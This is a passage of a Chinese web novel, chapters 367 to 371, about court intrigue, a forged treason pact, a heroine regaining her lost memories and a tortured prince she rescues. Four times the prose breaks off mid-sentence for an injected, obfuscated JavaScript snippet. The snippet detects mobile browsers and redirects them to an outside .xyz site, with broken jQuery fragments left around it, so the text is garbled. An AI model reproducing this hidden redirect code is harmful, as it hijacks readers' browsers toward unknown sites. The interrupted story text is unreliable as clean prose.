“既然你从此不许我再见她,”姜天泽抬起头,目光直视着萧凌川,眼中翻涌着的是毫不掩饰的野心与贪婪,“那你也要承诺,若有天你得到大邺的江山,要分我一半!” 第367章 反常的背后,必然藏着更深的算计 第三百六十七章反常的背后,必然藏着更深的算计 萧凌川嗤笑一声,那笑声里淬着冰,又带着几分看穿一切的傲慢。 “你何必执着大邺的江山?若你想要,本王可以送你回南月,让你名正言顺地继承南月皇位。” 姜天泽一愣。 “你想让我当南月皇帝?”他几乎以为自己听错了,不可置信地追问,“你好不容易得到南月的皇位,肯这样拱手让给我?” “有何不可?”萧凌川转过身,烛光勾勒出他冷硬的侧脸轮廓,那双深不见底的眸子凝视着姜天泽,没有一丝玩笑的意味。 “众人都说本王野心大,醉心权势。可在本王眼中,权势从来就只是手段,不是目的。” 他看着姜天泽,一字一句,声音清晰得如同金石撞击。 “你确实是南月后代,花连城仅剩的血脉。本王恨花连城,二十多年前,是他逼我母亲远嫁大邺,最后惨死在皇宫里的。如今母亲的仇已报,本王没理由牵连你。只要你承诺当上南月皇帝后,不再觊觎和侵犯大邺疆土,这皇位给你又如何?” 姜天泽心中顿时掀起了惊涛骇浪。 萧凌川,竟然真的打算将南月皇位让给他! 这头贪婪又凶残的恶狼,何时变得如此大方? 事出反常必有妖。 他眯起眼睛,试探地地问:“你想让我回南月继承皇位,不会是怕我抢走大姐姐,故意支走我吧?” 萧凌川斜睨了他一眼,嘴角勾起一抹极淡的、淬着剧毒的弧度。 “你还不算太蠢。” 姜天泽:“……” 果然如此! 这个男人,为了独占阿宁,什么都做得出来。 心中的杀意几乎要压抑不住,但他知道,现在还不是时候。 他深吸一口气,将那股翻涌的恨意强行按回胸腔,脸上却摆出一副被戳穿心思后、破罐子破摔的执拗。 “我不要回南月,我要留在大邺!”他梗着脖子,像一头倔强的小兽,“南月的皇位给你,你承诺和我共享这大邺的江山!” 萧凌川看着他这副模样,眼中的不屑更浓了。 “既然你这么执着,”他懒懒地摆了摆手,仿佛在驱赶一只烦人的苍蝇,“本王答应你就是了。” “口说无凭!”姜天泽立刻步步紧逼,他必须拿到实实在在的把柄,“王爷,立字为据吧!” 萧凌川脸上掠过片刻的迟疑。 只觉得荒唐至极。 为了这句荒谬的承诺,竟然还要白纸黑字? 姜天泽精准地捕捉到了他这一瞬间的停顿,故意冷笑道:“怎么,王爷不舍得?” “怎么会?”萧凌川走向桌边,亲手拿起墨锭,在砚台里不紧不慢地研磨起来,“用大邺一半的江山换一整个南月,怎么看都是本王赚到了。” 他提起笔,饱蘸墨汁,笔尖在宣纸上游走,留下龙飞凤舞的字迹。 “吾萧凌川立誓,若他日君临大邺,必与姜天泽共治天下,分掌江山,各据一端。此言为证,天地为鉴!” 写完,他从腰间解下一枚通体漆黑、刻着繁复图腾的私章,毫不犹豫地在落款处用力按下,留下一方鲜红的印记。 整个过程,行云流水,没有半分拖沓。 姜天泽的目光死死盯着那张纸,呼吸都不由自主地屏住了。 萧凌川将字据拿起来,吹了吹未干的墨迹,随手递了过去,像是在打发一个乞丐。 姜天泽一把接过,如获至宝。 他仔仔细细地将那张纸看了好几遍,确认了上面的每一个字,尤其是那方鲜红刺目的私章。 这可是萧凌川的私章,见此章如见其人。 有了这个,再加上他南月太子的身份,就等于有了萧凌川通敌**的铁证! “王爷,这字据我收下,还请王爷言而有信!” 他将字据小心翼翼地折好,贴身藏入怀中,脸上是压抑不住的狂喜,随后便转身匆匆离开了。 萧凌川站在原地,目送他那看似欣喜若狂的背影消失在门外。 房门关上的瞬间,他脸上的所有表情,那丝不屑,那点嘲弄,尽数褪去,只剩下一片深不见底的冷厉。 “凌芜。”他忽然开口,声音低沉而冰冷。 一道黑影无声无息地出现在他身后,单膝跪地:“王爷。” “这几日你偷偷跟在姜天泽身边,”萧凌川的声音没有一丝起伏,“看他到底想做什么。本王怀疑,他有什么阴谋诡计。” “是,王爷!”凌芜领命,身影再次融入黑暗,消失不见。 萧凌川缓缓走到窗前,推开窗户,夜风带着寒气涌了进来。 他很清楚,姜天泽并非醉心权势之人。 他看阿宁的眼神,痴迷、执拗,带着一种毁灭一切的疯狂。 为了阿宁,他可以不择手段。 可也正因如此,他今天这番做派才显得格外可疑。 放弃唾手可得的南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16439211|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月皇位,转而求一个虚无缥缈的“半壁江山”? 还非要立下字据? 这反常的背后,必然藏着更深的算计。 萧凌川的唇角,终于勾起了一抹冰冷的弧度。 他倒要看看,这只小狼崽子,究竟想玩什么把戏。 这字据,是他亲手递出去的鱼饵。 就看到底是那条鱼,不知好歹地咬钩了。 夜色如墨,泼洒在南朔城的每一寸屋檐之上。 凌芜悄无声息地悬停在姜天泽院落外的一棵老槐树上。 她收敛了所有气息,一双眼睛却像鹰隼,死死锁定着院内的动静。 果然不出王爷所料。 子时刚过,姜天泽的房里还亮着灯,但院内巡逻的几个护卫却接二连三地倒下,悄无声息,仿佛被抽走了骨头,软塌塌地瘫在地上。 紧接着,一缕极淡的、带着甜腻香气的烟雾从姜天泽的门缝里飘散出来,很快,整个院子便陷入了死一般的寂静。 片刻后,房门“吱呀”一声被推开。 姜天泽换了一身利落的夜行衣,鬼鬼祟祟地探出头,左右张望了一番。 确认所有人都“睡熟”后,他才像只狡猾的狐狸,几个起落便翻出了高墙,消失在深沉的夜色里。 凌芜不紧不慢地跟了上去。 姜天泽的身手不错,但与她相比,还是差了些。 只见他故技重施,用淬了**的细针吹向城门守卫的脖颈。 那些官兵甚至来不及发出一声闷哼,便垂下了头颅,仿佛只是打了个盹。 他一路向北。 凌芜的心沉了下去。 这个方向,通往大邺京城。 京城如今与王爷为敌的,就只有那位高居九五之尊的帝王了。 她不再迟疑,从怀中取出一只信鸽,将写好的密信绑在鸽腿上,用力抛向空中。白鸽振翅,瞬间消失在漆黑的夜幕里。 书房内,烛火摇曳。 萧凌川指尖夹着那张信纸,纸上的字迹潦草而急促,正是凌芜的手笔。 “北上,往京城方向。” 他忽然低低地笑了起来,笑声在空寂的房间里回荡,带着说不出的阴冷和嘲讽。 难怪。 “难怪他执意索要那份荒唐的字据。”萧凌川眸光一沉,唇角勾起一抹冰冷的弧度,心中念头转瞬即明,“原来是想将本王的把柄拱手奉于那人。既如此,就休怪本王先发制人,断了他的后路!” 第368章 姜天泽的偏执和疯狂 第三百六十八章姜天泽的偏执和疯狂 姜天泽一路快马加鞭,风尘仆仆,星夜兼程。 他怀揣着那份足以掀翻大邺朝堂的字据,以及那枚象征着他**的南月皇室玉牌,心脏在胸腔里狂跳。 胜利的喜悦几乎要冲昏他的头脑。 萧凌川,你自以为聪明,却终究还是栽在了我的手上! 京城繁华的轮廓在晨曦中渐渐清晰,巍峨的宫墙如同一头沉睡的巨兽,静静矗立。 他勒住马缰,翻身下马。 只要将手里这些东西呈到皇帝面前,萧凌川的死期就到了。 到那时,他便能带着阿宁,远走高飞。 他甚至已经想好了,他要带她去江南,看遍那里的烟雨朦胧,小桥流水。 就在他准备朝着宫门走去时,一队身着玄甲的护卫忽然从街角涌出,如同一道坚不可摧的铁壁,横亘在他面前。 为首之人,一身绯色官袍,面容肃穆,正是他的大伯姜丞相。 姜天泽的脚步顿住了,眼底的火热瞬间冷却。 “大伯,你这是做什么?”他声音里带着一丝戒备。 姜丞相看着他风尘仆仆的模样,眼神复杂而凝重,像是看着一个执意要跳下悬崖的孩子。 “天泽,我是来阻止你铸成大错的!” 姜天泽听了,反而嘲讽地笑出声来。 “是萧凌川让你来拦我的吧?他倒是消息灵通。”他轻蔑地扫了一眼那些面无表情的护卫,“可惜啊,区区护卫,怕是拦不住我!” 话音未落,他手腕一抖,一包淡黄色的粉末便如烟雾般朝着姜丞相和护卫们撒了过去。 这是他特制的**,无色无味,见效奇快,沾之即倒。 然而,预想中人仰马翻的场景并未出现。 那些护卫纹丝不动,连姜丞相也只是微微眯了下眼,随即恢复如常。 他们……无人倒下。 一股冰冷的寒意从姜天泽的脚底瞬间窜上天灵盖。 怎么会这样? 来不及细想,他下意识地从袖中摸出另一包颜色更深的毒粉,那是见血封喉的剧毒。 可就在他准备孤注一掷时,后颈猛地传来一阵尖锐的酸胀刺痛。 力气如同潮水般从四肢百骸退去,眼前的景象开始天旋地转,最后化作一片深不见底的黑暗。 他整个人直挺挺地栽倒在地,彻底失去了意识。 一道纤细的人影从他身后的阴影中走出,正是凌芜。 姜丞相看着地上不省人事的侄子,长长地叹了口气,随即对着凌芜深深行了一礼:“谢凌芜姑娘出手相助!若不是凌芜姑娘事先备好解药,老夫此次怕是很难将天泽擒住!” 凌芜连忙侧身避开,恭敬地回道:“丞相言重,折煞奴婢了。是王爷派奴婢来协助丞相的。” 她看了一眼地上的姜天泽,“三少爷就暂时交给丞相,王爷大事即成之前,千万不能让他离开!” “凌芜姑娘放心,老夫知道该怎么做!”姜丞相的眼神晦暗不明,挥了挥手,几个护卫立刻上前,将昏迷的姜天泽抬了起来。 …… 不知过了多久,姜天泽的意识才从混沌中挣扎出来。 眼皮沉重得像挂了铅块,他费力地睁开眼,首先映入眼帘的是熟悉的雕花床顶。 他动了动,才发现自己手脚都被粗壮的麻绳紧紧捆绑在了一把太师椅上,绳结打得极死,勒得他手腕生疼。 这里是……姜府? 他环顾四周,这熟悉的陈设,这窗外摇曳的竹影,分明就是他从前所住的西院! “醒了?” 一道声音在旁边响起。 姜天泽猛地转过头,只见姜丞相正站在不远处,神色凝重地看着他,眼中满是失望和痛心。 姜天泽咬牙切齿地低吼:“萧凌川通敌**,证据确凿!你作为大邺的丞相,竟然置之不理,反而助纣为虐,与虎谋皮!大伯,我真是看错你了!” “天泽,”姜丞相的声音透着一股深深的疲惫,“大伯这样做,不仅是为了救你的性命,更是为了护住整个姜家!” “少说得这般冠冕堂皇!”姜天泽嗤笑一声,满脸不屑,“谁不知道你是萧凌川的拥趸!你这般死心塌地地护着他,不就是想等他有朝一日登基为王时,你能分一杯羹吗?!阿宁有你这样的父亲,真是不幸!” 面对侄子尖酸刻薄的指控,姜丞相只是缓缓摇了摇头,浑浊的眼中流露出一丝怜悯。 “你说景王通敌**,可你所谓的证据,却是你处心积虑、机关算尽,让王爷写给你的那张字据。天泽,这根本就是污蔑!” 姜天泽的心猛地一沉,他没想到连这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16439212|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事萧凌川都告诉了自己大伯。 但他面上依旧毫无惧色,反而理直气壮地反驳:“那又如何?苍蝇不叮无缝的蛋!若他萧凌川没有谋权篡位的野心,怎会轻易立下这样的字据?我不过是想让当今皇帝早点看清他的真面目,早做防范罢了,我何错之有?” “执迷不悟!”姜丞相见他这般顽固,语气终于重了几分,痛心疾首地看着他,“你打算在陛下面前,亮出你的南月玉牌,告诉他,你是南月太子,对吗?你可有想过,这样做会给姜家带来什么灭顶之灾?” 他向前一步,声音都在发颤,“姜家,养了你一个敌国太子十几年!这是通敌叛国,是板上钉钉的死罪!满门抄斩!就算你从不念及你养父对你的养育之恩,你也该为宁儿想一想!自(爆)身份这种愚蠢至极的事,只会害了整个姜家,更会害了她!” 提到“宁儿”两个字,姜天泽疯狂的神色终于有了一丝龟裂。 他脸上的狠戾褪去,取而代之的是一种近(乎)偏执的柔情和痛苦。 “我不会让她出事的。”他的声音沙哑下来,“等除掉了萧凌川,我就带她离开大邺,去一个谁也找不到我们的地方,远走高飞。届时,再也没有人能把我们分开。” 他抬起头,被捆绑的身体微微前倾,用一种近(乎)哀求的目光看着自己的大伯。 “大伯,你信我,我一定比萧凌川更能让阿宁幸福!他给不了阿宁安稳的日子,但我可以!你帮我一次,就这一次,好不好?” 他的声音里带着蛊惑,也带着最后一丝希望。 然而,回应他的,却是姜丞相愈发冰冷和失望的眼神。 “你以为,”姜丞相一字一顿,每一个字都像一把冰冷的铁锤,狠狠砸在姜天泽的心上,“你在陛下面前暴露了身份,还能活着从皇宫里出来吗?” “为什么不能?”姜天泽脸上浮现出一丝病态的狂热,笑声嘶哑,“我给了他一个名正言顺除掉萧凌川的理由,他感激我还来不及呢,怎会要我的命?更何况,我的投名状,是整个南月!试问天下,哪个君王能抵挡这般诱惑?” 姜丞相脸上露出诧异的神色:“你付出如此高昂的代价,到底想得到什么?” 姜天泽脸上的狂热瞬间褪去,只余一片幽深的执拗,他一字一顿地道:“我要的,从始至终,不过是一个姜姝宁罢了。” 第369章 不是梦,是被她埋葬的过去 第三百六十九章不是梦,是被她埋葬的过去 看着他这幅偏执又疯狂的模样,姜丞相只觉得一股寒气从脚底板直冲天灵盖,连后颈的汗**都根根倒竖。 他这辈子阅人无数,见过朝堂上笑里藏刀的政敌,也见过战场上嗜血如命的莽夫,却从未见过像姜天泽这样,将疯狂和毁灭欲藏在脉脉温情之下的人。 他像是个赌徒,一个压上整个姜家、整个南月,只为换一个女人的疯子。 作为一个父亲,姜丞相是绝不会将自己的女儿托付给这么一个孤注一掷的人的。 “天泽,”姜丞相的声音干涩而疲惫,像被风沙磨砺过的旧木,“宁儿她……一直将你当亲弟弟,当姜家未来的继承人看待。若她知道你对她存了那种心思,她定会很难过的。听大伯一句劝,别再执迷不悟了,放下宁儿吧!” 这番话,他说的苦口婆心,带着长辈最后的温情与劝诫。 然而,姜天泽听了,却只觉得讽刺至极。 他先是低低地笑,肩膀被绳索捆着,只能小幅度地颤动,那笑声在空旷的柴房里回荡,显得格外阴森。 “大伯,你说得可真好听,好像全天下就你最替阿宁着想。可您和大伯母,何曾真正问过阿宁她到底愿不愿意?你们不就是一门心思,硬要把她往萧凌川那个火坑里推吗?” 他的声音陡然拔高,字字泣血,句句如刀。 “你知不知道,她为了摆脱萧凌川,不惜诈死脱身,最后不得不骨肉分离!如果你们真的为她好,就不该眼睁睁看着她被逼到这个地步,更不该在她好不容易逃出来之后,还想方设法地,要把她推回那个恶魔的身边!” 最后几个字,他几乎是吼出来的。 每一个字都像烧红的烙铁,狠狠烫在姜丞相的心口上,让他胸腔里一阵闷痛,几乎喘不过气。 宁儿诈死,不得已抛下孩子,尔后下落不明……一路不知吃了多少苦。 这些姜丞相一直不敢想的伤痛,如今被姜天泽血淋淋地揭开,痛得他眼前发黑。 但他仍强撑着,维持着一家之主的威严,下颌线绷得死紧。 “婚姻大事,自古便是父母之命,媒妁之言。”他用冷硬的外壳掩饰内心的刺痛,“景王还是四皇子的时候,我与宁儿的母亲便觉得他是个可托付终(身)的人。如今,老夫依旧这样认为。” 他居高临下地看着被缚的姜天泽,眼神再无一丝温情,只剩下不容置喙的决断。 “你就趁早**这份心思,别再自讨苦吃了!这段时日,你便老老实实待在这屋里反省,我会吩咐下人,按时给你喂食。” 说完,姜丞相再不看他一眼,拂袖转身,脚步沉重而决绝地向外走去。 他没有看到,就在他转身的那一刹那,姜天泽眼中那偏执的痛苦迅速褪去,取而代之的,是一闪而过的、浓得化不开的阴郁。 门外传来落锁的巨响,将柴房内最后一点光亮也彻底吞噬。 黑暗中,姜天泽唇角的弧度一点点加深,最终咧开一个无声而诡异的笑容。 姜丞相做梦也想不到,就在这间柴房的后面,隔着一道薄薄的墙壁,便是西院的后厨。 而在那后厨里,藏着他们母子专程用来炼制毒物的人。 那个人,正是姜瑶真的生母——花莲。 他养出的第一只蛊虫,便是在那个女人身上种出来的。 如今,他被关在这里,与花莲不过一墙之隔。 这么近的距离,想来……要驱动那只沉睡多年的蛊虫,让那个女人乖乖听话,替自己解开这身上的绳索,应该是件轻而易举的事吧。 …… 姜姝宁感觉自己像个被缚在戏台下的看客,被迫看了一场又一场近(乎)绝望的戏。 那戏里的主角,是她,还有一个她既熟悉又陌生的男人——景王,萧凌川。 戏里的她,是景王府里最不起眼的一抹影子。 身为景王妃,却活得比尘埃还要卑贱。 她穿着最华美的锦缎,住着最轩敞的院落,却从未露出哪怕一丝发自内心的笑。 梦境的碎片光怪陆离。 有一次,是王府的赏花宴。 她精心准备了许久,只为他能多看自己一眼。 可他的目光,却始终追随着她那容貌美艳的庶妹姜瑶真。 姜瑶真不小心被石子绊了一下,他便紧张得一个箭步冲了过去,扶住她的手臂,言语间的关切几乎要溢出来。 而她,就站在不远处,像个笑话。 床笫之事,于她而言,更像是一种惩罚。 他从不看她的眼睛,动作里没有半分怜惜,只有纯粹的索取和发泄。 结束后,他总是毫不留恋地起身离开,背影决绝,仿佛多待一刻都是煎熬。 唯有在面对姜瑶真时,他那双总是淬着冰的桃花眸,才会融化成一池春水。 他会为她搜罗天下奇珍,也会耐心听她絮叨那些最无聊的闺阁琐事,眉眼间满是温柔的纵容。 甚至,他一身的冷傲与尊贵,在面对她时,都会悉数化为近(乎)卑微的讨好,只为换她展颜一笑。 这些画面,一帧一帧,像是用最锋利的刀,刻在姜姝宁的脑海里。 梦里的那个女人,真的是她吗? 可那种深入骨髓的卑微和心痛,又真实得让她无法呼吸。 当意识终于从浑浊的泥沼中挣脱,沉重的眼皮费力地掀开一条缝,一张憔悴不堪的脸庞便撞了进来。 那张脸胡子拉碴,下巴上冒着青黑的胡茬,眼下是浓重的乌青,一双桃花眼此刻布满了骇人的血丝。 可当他对上她的视线时,那双疲惫的眼眸瞬间迸发出惊人的光亮,像是濒死之人看见了神迹。 “你终于醒了!”他声音嘶哑,带着一丝不易察含的颤抖,紧接着便扭头朝外大喊,“快!快去叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440624|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙神医来!” 姜姝宁看着他欣喜若狂的模样,脑子里一片混沌。 梦境里那个对她冷漠疏离的男人,与眼前这个眼神炙热得几乎要将她融化的人,明明是同一张脸,却仿佛割裂出了两个截然不同的灵魂。 她张了张干裂的嘴唇,试探性地唤了一声:“……王爷?” 声音出口,连她自己都愣住了。 萧凌川脸上的狂喜瞬间凝固。 他僵在那里,那双桃花眸里翻涌着她看不懂的惊涛骇浪,有惊,有慌,还有一种……类似绝望的痛楚。 空气死一般寂静。 良久,他终于找回了自己的声音,干涩得像是被砂纸磨过:“……你想起来了?” 果然。 姜姝宁心头一沉,那不是梦,那是她被埋葬的过去。 那些卑微到尘埃里的爱,那些被他亲手碾碎的痴心,全都是真的。 可……不对啊。 她在南朔见到他时,用的并不是“姜姝宁”的脸。 “你是……怎么认出我来的?” 她下意识地抬手,想要触摸自己的面颊,手还没碰到脸,就被他一把捉住。 他的掌心滚烫,带着薄茧,力道大得几乎要捏碎她的腕骨。 他死死盯着她,眼睛红得可怕,一字一顿地宣告:“姝宁,不管你变成什么样子,哪怕化成灰,本王也能第一时间把你认出来!” 他的话像一记重锤,砸得她头晕眼花。 她挣不开他的手,只能被迫与他对视。 “……我不明白,既然你早就认出了我,为什么不揭穿我?还要……陪着我演戏?” “因为,我怕。” 他看着她,眼里的红血丝愈发狰狞,那双曾颠倒众生的桃花眼,此刻竟漫上了一层水汽,“我怕一揭穿你的身份,你就会立刻从我身边逃走。我怕你再也不肯看我一眼。” 他的声音越来越低,带着一种近(乎)哀求的卑微,“姝宁,我不在乎你是谁,我不在乎你叫什么名字,只要你肯留在我身边,只要能让我看着你……我就满足了。” 她目不转睛地看着他。 这样放低姿态,这样小心翼翼,甚至有些语无伦次的景王,她在那些满是**记忆的梦境里,一次也没有见过。 那个高高在上,视她如敝履的男人,和眼前这个红着眼睛,死死攥着她的手,害怕一松开她就会消失的男人,真的是同一个人吗? 胸口蓦地传来一阵尖锐的钝痛,像是被什么东西狠狠剜了一下。 她分不清,这突如其来的疼痛,究竟是来自尚未痊愈的伤口,还是来自那颗早已千疮百孔、如今又被狠狠撕裂的心。 就在她快要被他眼中那浓稠的痛楚溺毙时,房门“吱呀”一声被推开。 “大人,老夫来了!” 孙神医提着药箱,步履匆匆地走了进来,打破了这令人窒息的氛围。 第370章 心墙高筑 第三百七十章心墙高筑 萧凌川松开了姜姝宁的手腕,那股几乎要将她焚烧的灼热视线也终于挪开。 他侧过身,挡在她与孙神医之间,声音恢复了往日的沉稳,只是那份嘶哑无论如何也掩盖不住:“孙神医,麻烦你给她看看,伤口有没有裂开。” 孙神医一边给姜姝宁把脉,一边嘀咕:“醒了就好,醒了就好。大人这几日不眠不休,人都快熬成铁人了。姑娘你再不醒,老夫真怕要一口气诊两个病人。” 姜姝宁听着,心里没有半分动容,只觉得讽刺。 不仅萧凌川亲自陪她演戏,他身边的人也随之入戏,齐(心)协力演出一场“失而复得”的戏码。 萧凌川像是察觉到什么,轻咳一声:“孙神医,姝宁她恢复记忆了。” “原来如此。”孙神医立刻认真把脉,点头道,“看来是那蛊虫被除去,王妃便记起从前的事了。这是好事!” 姜姝宁深以为然。 恢复记忆,何其痛苦,又何其庆幸。 幸好,她记起来了。 记起了那些被他亲手碾碎的爱意与尊严。 这样,她便不会再被同一块石头绊倒,再摔得粉身碎骨一次。 孙神医检查完伤口,又开了一副新的方子,叮嘱了几句,便被萧凌川打发了出去。 屋子里又只剩下他们两人。 他端着一碗黑漆漆的药汁走到床边,用勺子轻轻搅动,吹了又吹,才递到姜姝宁嘴边:“姝宁,来,把药喝了。” 他的神情温柔得能掐出水来,那双桃花眼里盛满了小心翼翼的讨好。 若是没有记起那些往事,姜姝宁大概又会像个傻子一样,被他这片刻的温情迷惑,感动得一塌糊涂。 可现在,她只觉得心口一阵不适。 她偏过头,躲开了那把勺子,声音冷得像冰:“我自己来。” 他的手僵在半空,眼里的光亮瞬间黯淡下去。 他没有勉强,只是把碗递给她,低声说:“小心烫。” 她接过碗,面无表情地一饮而尽。 药汁苦涩,顺着喉咙一路烧到胃里,可再苦,也苦不过她心里的那份荒唐和悲凉。 她到底算什么? 一个召之即来挥之即去的玩意儿? 想来是姜瑶真那边没给他好脸色,他才想起她这个被他弃之敝履的王妃,想在她这儿找回被重视的滋味。 又或者,是她从前把他伺候得太舒坦,他如今失了那份体贴,觉得不习惯了。 不管是哪种可能,都改变不了他曾践踏她的真心这个事实。 迟来的深情比草贱。 她若这么轻易就原谅了他,那从前受的那些苦,流的那些泪,岂不都成了笑话? 而下一次,他若再想将她踩入泥沼,只会更加肆意妄为,毫无顾忌。 接下来的日子,萧凌川将这份“温柔”发挥到了极致。 他亲自喂她喝粥,给她上药,甚至连擦拭身体这种事,他都想亲力亲为。 姜姝宁自然是冷着脸拒绝,他也不恼,只是默默地守在一旁,看着婢女们做完,再亲手为她掖好被角。 他看她的眼神,像是在看一件失而复得的绝世珍宝。 可在姜姝宁眼里,自己不过是他一时心血来潮的补偿。 他越是这样,她心里的墙就筑得越高。 他们的相处,陷入了一种诡异的死循环。 他不停地付出,她冷漠地接受,谁也不肯先打破这层薄冰。 回京的日程因为姜姝宁的伤势一拖再拖。 虽然姜天泽被姜丞相关在相府里,暂时避免了对萧凌川通敌的污蔑,但萧凌川身为摄政王,长期滞留南朔,朝中早已怨声载道。 终于,御史台那帮老顽固坐不住了。 以顾御史为首的一群人,联名上了奏折,**他**,不配为大邺摄政王。 那日,暗卫带着加急的密信前来,姜姝宁躺在床上,清晰地听见外间萧凌川压抑着怒火的声音。 “……知道了,备马,本**日便回京。” 他推门进来时,脸上已经恢复了平静,只是眼底的疲惫和挣扎藏不住。 他在床边坐下,握住她的手。 这一次,她没有抽开。 不是因为接受了他,而是想让他安心地离开。 “姝宁,京中有些急事,我必须回去一趟。”他摩挲着她的手背,声音低沉,“我已经嘱咐了孙神医,他会留下来照顾你。等你的伤再好一些,我就派人来接你。” 她看着他,淡淡地“嗯”了一声。 他似乎还想说什么,嘴唇动了动,最终却只是化为一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440625|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹息。 他俯下身,在她额头上落下一个极轻的吻,像羽毛拂过,带着滚烫的温度。 “等我回来。” 第二天一早,他就走了。 他一走,这院子里的空气都仿佛清新了许多。 又过了几日,她身上的伤好了大半,终于能下床走动。 她推开房门,在后院里缓缓踱步,感受着久违的阳光。 就在她绕过一处假山时,眼角余光瞥见一抹不寻常的影子。 一个人影蜷缩在假山脚下,一动不动。 她心里一惊,放轻脚步走了过去。 那人身上满是污泥和血迹,散乱的头发遮住了大半张脸。 她蹲下身,试探着他的鼻息,微弱得几乎感觉不到。 她又搭上他的手腕,脉象虚浮,显然是油尽灯枯之兆。 他身上有几道狰狞的伤口,皮肉外翻,不像是新伤,倒像是被反复折磨留下的旧创。 一个念头猛地窜入她的脑海。 她在睡梦中看到的记忆里,有景王府的地牢。 那是萧凌川专门用来折磨政敌的地方,阴森,可怖,进去的人没几个能活着出来。 难道,这南朔的衙门里,也有这样一个地方? 她的心一沉,颤抖着手,拨开那人黏在脸上的湿发。 当那张布满伤痕却依旧能看出清俊轮廓的脸暴露在她眼前时,她的呼吸骤然一滞。 是他! 竟然是将小邺君送回到她身边的“萧公子”! 他怎么会在这里?还被折磨成了这副模样? 难道,他犯了什么罪? 还是说,得罪了萧凌川? 她来不及细想,用尽全身力气将他搀扶起来,几乎是半拖半拽,一步一步艰难地将他挪回她的房间。 “砰”的一声关上门,她将门闩插好,才虚脱般地靠在门板上,大口喘着气。 她把他安置在窗边的软榻上,就在这时,萧怀瑾的眼睛睁开了。 那双眼在昏暗的室内显得格外亮,此刻却布满了血丝,带着劫后余生的茫然和惊恐。 当他的视线聚焦在她脸上时,那份茫然瞬间变成了震惊。 他挣扎着想要坐起来,声音因为激动而破裂:“姜……姜姑娘?竟然是你?本王……不是在做梦吧?” 第371章 真相到底是什么? 第三百七十一章真相到底是什么? 姜姝宁上前一步,伸手扶住他摇摇欲坠的身体,温软的布料下是嶙峋的骨骼,硌得她手心生疼。 “萧公子,你受了很重的伤,先在这里休息,我去取些药来。” 她的手刚一松开,就被他反手死死抓住。 那只手因为失血而冰冷,力气却大得惊人,像一只铁钳,箍得她腕骨生疼。 “姜姑娘,你别走!”萧怀瑾的声音嘶哑,带着一种濒临绝境的急切,“我的伤不重要,趁景王不在,你把君儿带来,我们一起离开这里!等这里的官兵发现我逃走,就晚了!” 姜姝宁的心猛地一沉,被迫转回身,对上他那双布满血丝却亮得吓人的眼睛。 “是景王把你关起来的?他……为什么要这么对你?” 她一边问,一边仔细端详着他。 这张脸,虽然被伤痕和污垢所覆盖,但那清俊的轮廓,那温润的眉眼,越看越有种似曾相识的感觉。 在那些破碎混乱的梦境里,她似乎曾在某个金碧辉煌的皇室宴会上,远远地见过这张脸…… “你是……五王爷?”她试探着问出口,声音微不可查地颤抖起来。 萧怀瑾的眼睛死死锁住她,那双曾如春水般温润的眸子此刻燃着两簇疯狂的火焰。他因为她这句话,脸上竟浮现出一丝惨淡的笑意。 “姜姑娘,你忘了么?”他一字一句,说得极慢,仿佛要将每个字都刻进她的骨头里,“因为你,我特地跟父皇要了个‘宁’的封号。” 他目不转睛地看着她,眼底那几乎要满溢而出的温柔,让她感到一阵陌生而强烈的窒息感。 “我听你堂弟姜天泽说,你失去记忆,怕是一时半会想不起来这些事。” 姜姝宁茫然地点了点头。 她的梦境里,萧怀瑾和这张脸确实出现过几次。 他总是温润如玉,一副谦谦君子的模样,是她过去在闺阁中时,会与手帕交们一同欣赏称赞的那类男子。 可也仅限于此了。 她总觉得,自己和他的关系,应该隔着一层无法逾越的屏障,疏离而客气。 绝不像现在这样。 他眼底翻涌的炙热情绪,仿佛要将她吞噬。 那眼神,就好像……好像他们之间,有着什么非同寻常的过往。 